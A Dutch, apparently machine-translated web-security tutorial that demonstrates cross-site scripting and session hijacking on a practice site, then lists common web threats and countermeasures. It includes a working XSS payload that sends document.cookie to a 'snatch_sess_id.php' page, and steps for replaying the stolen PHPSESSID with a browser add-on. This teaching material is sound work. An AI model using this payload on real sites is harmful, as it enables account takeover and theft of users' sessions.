Hoe een website hacken? Veelgebruikte technieken voor het hacken van sites
Oliver Jones
Website-hacktechnieken
Meer mensen hebben toegang tot internet dan ooit tevoren. Dit heeft veel organisaties ertoe aangezet webgebaseerde applicaties te ontwikkelen die gebruikers online kunnen gebruiken om met de organisatie te communiceren. Slecht geschreven code voor webapplicaties kan worden misbruikt om ongeautoriseerde toegang te krijgen tot gevoelige gegevens en webservers.
In deze tutorial leer je hoe je websites kunt hacken, en laten we je kennismaken met hacktechnieken voor webapplicaties en de tegenmaatregelen die u kunt plaatsen ter bescherming tegen dergelijke aanvallen.
Hoe een website te hacken
In dit praktische scenario voor het hacken van websites gaan we de gebruikerssessie van de webapplicatie op www.techpanda.org. We zullen cross-site scripting gebruiken om de cookiesessie-ID te lezen en deze vervolgens gebruiken om een legitieme gebruikerssessie na te bootsen.
Er wordt van uitgegaan dat de aanvaller toegang heeft tot de webapplicatie en hij graag de sessies wil kapen van andere gebruikers die dezelfde applicatie gebruiken. Het doel van deze aanval zou kunnen zijn om beheerderstoegang tot de webapplicatie te verkrijgen, ervan uitgaande dat het toegangsaccount van de aanvaller beperkt is.
Stap 1) Open url http://www.techpanda.org/.
Voor oefendoeleinden wordt het sterk aanbevolen om toegang te krijgen met behulp van SQL Injection. Raadpleeg deze dit artikel voor meer informatie over hoe u dat kunt doen.
Stap 2) Voer uw inloggegevens in.
Het inlog-e-mailadres is beheerder@google.com, het wachtwoord is Wachtwoord2010.
Stap 3) Controleer dashboard.
Als u succesvol bent ingelogd, krijgt u het volgende dashboard te zien
Stap 4) Voer nieuwe inhoud in.
Klik op Nieuw contact toevoegen en voer het volgende in als voornaam
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Stap 5) Toevoegen Javascript.
De bovenstaande code gebruikt JavaScript. Het voegt een hyperlink toe met een onclick-gebeurtenis. Wanneer de nietsvermoedende gebruiker op de link klikt, haalt de gebeurtenis de PHP cookiesessie-ID en verzendt deze naar de snatch_sess_id.php pagina samen met de sessie-ID in de URL
Stap 6) Voeg details toe.
Vul de overige gegevens in zoals hieronder weergegeven en klik op Wijzigingen opslaan
Stap 7) Controleer dashboard.
Uw dashboard ziet er nu uit als het volgende scherm
Stap 8) Controleer sessie-ID.
Note: het script kan de waarde naar een externe server sturen waar de PHPSESSID is opgeslagen, waarna de gebruiker wordt teruggestuurd naar de website alsof er niets is gebeurd.
Note: de waarde die u krijgt kan afwijken van die op deze webpagina hacken tutorial, maar het concept is hetzelfde
Sessie-imitatie gebruikt Firefox en Tamper Data-add-on
In het onderstaande stroomdiagram worden de stappen weergegeven die u moet nemen om deze oefening te voltooien.
- U moet Firefox webbrowser voor deze sectie en de add-on Tamper Data
- Open Firefox en installeer de toevoeging zoals weergegeven in de onderstaande diagrammen
- Zoek naar sabotagegegevens en klik vervolgens op installeren zoals hierboven weergegeven
- Klik op Accepteren en installeren…
- Klik op Nu opnieuw opstarten wanneer de installatie is voltooid
- Schakel de menubalk in Firefox als het niet wordt getoond
- Klik op het menu Extra en selecteer vervolgens Sabotagegegevens, zoals hieronder weergegeven
- U krijgt het volgende venster. Let op: Als de Windows niet leeg is, drukt u op de knop Wissen
- Klik op het menu Sabotage starten
- Terugschakelen naar Firefox webbrowser, typ http://www.techpanda.org/dashboard.php druk vervolgens op de enter-toets om de pagina te laden
- U krijgt de volgende pop-up van Tamper Data
- Het pop-upvenster heeft drie (3) opties. Met de optie Sabotage kunt u de HTTP-headerinformatie wijzigen voordat deze naar de server wordt verzonden.
- Klik erop
- U krijgt het volgende venster
- Kopieer de PHP-sessie-ID je hebt de aanvals-URL gekopieerd en na het gelijkteken geplakt. Uw waarde zou er nu zo uit moeten zien
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klik op de OK-knop
- U krijgt opnieuw het pop-upvenster Sabotagegegevens
- Schakel het selectievakje uit met de vraag Doorgaan met knoeien?
- Klik op de knop Verzenden als u klaar bent
- U zou het dashboard moeten kunnen zien zoals hieronder weergegeven
Note: we hebben niet ingelogd, we hebben een inlogsessie nagebootst met behulp van de PHPSESSID-waarde die we hebben opgehaald met behulp van cross-site scripting
Wat is een webapplicatie? Wat zijn webbedreigingen?
Een webapplicatie (ook wel website genoemd) is een applicatie gebaseerd op het client-server-model. De server biedt de databasetoegang en de bedrijfslogica. Het wordt gehost op een webserver. De clienttoepassing draait op de clientwebbrowser. Webapplicaties zijn meestal geschreven in talen zoals Java, C# en VB.Net, PHP, ColdFusion Markup Language, enz. De database-engines die in webapplicaties worden gebruikt, omvatten MySQL, MS SQL-server, PostgreSQL, SQLite, Etc.
Toptechnieken voor het hacken van websites
De meeste webapplicaties worden gehost op openbare servers die toegankelijk zijn via internet. Dit maakt ze kwetsbaar voor aanvallen vanwege de gemakkelijke toegankelijkheid. Hieronder staan veelvoorkomende bedreigingen voor webapplicaties.
- SQL Injection – het doel van deze bedreiging zou kunnen zijn om inlogalgoritmen te omzeilen, gegevens te saboteren, etc.
- Denial of Service Attacks– het doel van deze dreiging zou kunnen zijn om legitieme gebruikers de toegang tot de bron te ontzeggen
- Crosssite-scripting XSS– het doel van deze bedreiging zou kunnen zijn om code te injecteren die kan worden uitgevoerd in de browser aan de clientzijde.
- Cookie-/sessievergiftiging– het doel van deze dreiging is om cookies/sessiegegevens door een aanvaller te wijzigen om ongeautoriseerde toegang te verkrijgen.
- Vormmanipulatie – het doel van deze bedreiging is om formuliergegevens, zoals prijzen in e-commercetoepassingen, te wijzigen, zodat de aanvaller artikelen tegen gereduceerde prijzen kan krijgen.
- Code-injectie – het doel van deze dreiging is het injecteren van code zoals PHP, Python, enz. die op de server kunnen worden uitgevoerd. De code kan achterdeurtjes installeren, gevoelige informatie onthullen, enz.
- schending– Het doel van deze bedreiging is om de weergegeven pagina op een website te wijzigen en alle paginaverzoeken om te leiden naar één pagina die het bericht van de aanvaller bevat.
Hoe kunt u uw website beschermen tegen hacks?
Een organisatie kan het volgende beleid hanteren om zichzelf te beschermen tegen webserveraanvallen.
- SQL Injection – het opschonen en valideren van gebruikersparameters voordat ze ter verwerking naar de database worden verzonden, kan de kans op een aanval helpen verkleinen SQL Injection. Database-engines zoals MS SQL Server, MySQL, etc. ondersteunen parameters en voorbereide instructies. Ze zijn veel veiliger dan traditionele SQL-instructies
- Denial of Service-aanvallen – firewalls kunnen worden gebruikt om verkeer van een verdacht IP-adres af te voeren als de aanval een eenvoudige DoS is. Een juiste configuratie van netwerken en een inbraakdetectiesysteem kan ook helpen de kans op een DoS-aanval succesvol geweest.
- Cross-site scripting – het valideren en opschonen van headers, parameters die via de URL worden doorgegeven, formulierparameters en verborgen waarden kunnen XSS-aanvallen helpen verminderen.
- Cookie-/sessievergiftiging – dit kan worden voorkomen door de inhoud van de cookies te coderen, de cookies na enige tijd te timen en de cookies te koppelen aan het client-IP-adres dat werd gebruikt om ze te maken.
- Vorm temperen – dit kan worden voorkomen door de gebruikersinvoer te valideren en te verifiëren voordat deze wordt verwerkt.
- Code-injectie – dit kan worden voorkomen door alle parameters als gegevens te behandelen in plaats van als uitvoerbare code. Sanitisatie en validatie kunnen worden gebruikt om dit te implementeren.
- Verminking – een goed beveiligingsbeleid voor de ontwikkeling van webapplicaties moet ervoor zorgen dat het de veelgebruikte kwetsbaarheden om toegang te krijgen tot de webserverDit kan een juiste configuratie zijn van het besturingssysteem, webserversoftware en best practices voor beveiliging bij het ontwikkelen van webapplicaties.
Samenvatting
- Een webapplicatie is gebaseerd op het server-clientmodel. De clientzijde gebruikt de webbrowser om toegang te krijgen tot de bronnen op de server.
- Webapplicaties zijn doorgaans via internet toegankelijk. Dit maakt ze kwetsbaar voor aanvallen.
- Bedreigingen voor webapplicaties omvatten SQL-injectie, code-injectie, XSS, Defacement, Cookie-vergiftiging, enz.
- Een goed beveiligingsbeleid bij het ontwikkelen van webapplicaties kan helpen deze veilig te maken.